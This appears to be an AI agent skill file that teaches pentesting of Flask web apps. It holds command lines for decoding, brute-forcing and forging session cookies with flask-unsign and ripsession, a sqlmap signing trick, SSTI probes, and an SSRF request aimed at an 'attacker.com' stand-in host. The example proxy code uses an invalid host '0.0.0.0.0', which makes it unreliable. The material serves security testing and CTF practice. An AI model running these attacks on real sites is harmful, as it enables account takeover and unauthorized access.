Flask Pentesting

Flask Pentesting

A skill for exploiting Flask web application vulnerabilities, focusing on session cookie manipulation, secret key brute-forcing, and SSRF attacks.

When to Use This Skill

Use this skill when:

• You encounter a Flask web application during pentesting or CTF challenges
• You need to decode, analyze, or craft Flask session cookies
• You suspect Flask SSTI (Server-Side Template Injection) vulnerabilities
• You need to brute-force Flask secret keys
• You're testing for Flask proxy SSRF vulnerabilities
• You have Flask session cookies that need manipulation

Flask Session Cookie Exploitation

Understanding Flask Cookies

Flask uses signed session cookies by default. The session cookie name is typically session. The cookie format is:

<base64-encoded-data>.<signature>.<additional-data>

Manual Cookie Decoding

To decode a Flask session cookie manually:

1. Extract the first part of the cookie (before the first dot)
2. Base64 decode it

# Example: decode the payload portion
echo "ImhlbGxvIg" | base64 -d

Using Flask-Unsign

Flask-unsign is a command-line tool for decoding, brute-forcing, and crafting Flask session cookies.

Installation

pip3 install flask-unsign

Decode a Cookie

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute-Force Secret Key

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Sign a Cookie

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Sign with Legacy Format

For older Flask versions:

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

Using RIPsession

RIPsession brute-forces websites using cookies crafted with flask-unsign.

Installation

pip3 install ripsession

Usage

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Parameters:

• -u: Target URL
• -c: Cookie payload (JSON format)
• -s: Secret key (if known)
• -f: Failure string to detect
• -w: Wordlist for brute-forcing

SQLi in Flask Session Cookies

When you have a known Flask secret key, you can use SQLmap with the eval option to automatically sign payloads:

sqlmap -u "http://target.com/page?session=<cookie>" --eval "sign_payload(payload, 'YOUR_SECRET_KEY')"

Flask Proxy SSRF Exploitation

Flask has a vulnerability where requests starting with @ can bypass proxy restrictions.

The Vulnerability

Flask allows requests starting with the @ character, which can be exploited in proxy scenarios:

GET @/ HTTP/1.1
Host: target.com
Connection: close

Exploitation Scenario

If a Flask app proxies requests like this:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
    return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0.0', port=8080)

You can exploit it by sending:

GET @attacker.com/path HTTP/1.1
Host: target.com
Connection: close

This causes the proxy to request from attacker.com instead of the intended domain.

Common Attack Patterns

1. Session Hijacking

1. Capture the session cookie
2. Decode it to understand the structure
3. Modify the payload (e.g., set logged_in: True)
4. Sign with the secret key (or brute-force it)
5. Send the modified cookie

2. Secret Key Discovery

1. Try common defaults: CHANGEME, secret, development
2. Use flask-unsign with wordlists
3. Check for exposed .env files
4. Look for hardcoded secrets in source code

3. SSTI Exploitation

Flask applications are commonly vulnerable to SSTI. Look for:

• User input reflected in templates
• Jinja2 template rendering
• Use payloads like {{7*7}} or {{config}}

Helper Scripts

Use the bundled scripts for common operations:

• scripts/decode_flask_cookie.py - Decode Flask session cookies
• scripts/sign_flask_cookie.py - Sign Flask session cookies
• scripts/brute_flask_secret.py - Brute-force Flask secret keys

Tools Reference

Online Resources

• Flask Cookie Decoder: https://www.kirsle.net/wizards/flask-session.cgi
• Flask-Unsign: https://pypi.org/project/flask-unsign/
• RIPsession: https://github.com/Tagvi/ripsession